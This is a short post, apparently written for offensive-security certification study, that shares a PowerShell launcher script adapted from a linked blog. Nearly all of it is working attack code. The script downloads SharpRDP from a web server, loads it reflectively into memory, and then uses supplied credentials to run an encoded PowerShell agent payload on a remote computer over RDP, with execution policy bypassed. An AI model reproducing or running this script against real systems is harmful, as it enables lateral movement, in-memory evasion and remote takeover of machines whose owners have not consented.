The following script is an the adaptation of the initial script: https://tahadraidia.com/posts/make-sharprdp-an-assembly-loadable/ #OSEP #CSHARP #POWERSHELL

SharpRDPAgentLancher.ps1

function Invoke-PowershellAgent {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory=$true)][string]$computer,
        [Parameter(Mandatory=$true)][string]$username,
        [Parameter(Mandatory=$true)][string]$password
    )

    $download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT"
    $asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content
    $Bytes = [byte[]]$asm
    Write-Host "[+] Got" $Bytes.Length "bytes";
    Write-Host "[*] Attempting to load Assembly..."
    try{
        [System.Reflection.Assembly]::Load($Bytes)
        Write-Host "[+] Loaded Assembly!";
    }
    catch{
        Write-Warning "[!] Error: " $($_.Exception.Message)
    }
    try{
        [SharpRDP.Program]::Main(("computername=$computer", "command=$download_exec_agent", "username=$username", "password=$password"))
        Write-Host "[+] Successfully Triggered"
    }
    catch{
        Write-Warning "[!] Error: " $($_.Exception.Message)
    }
}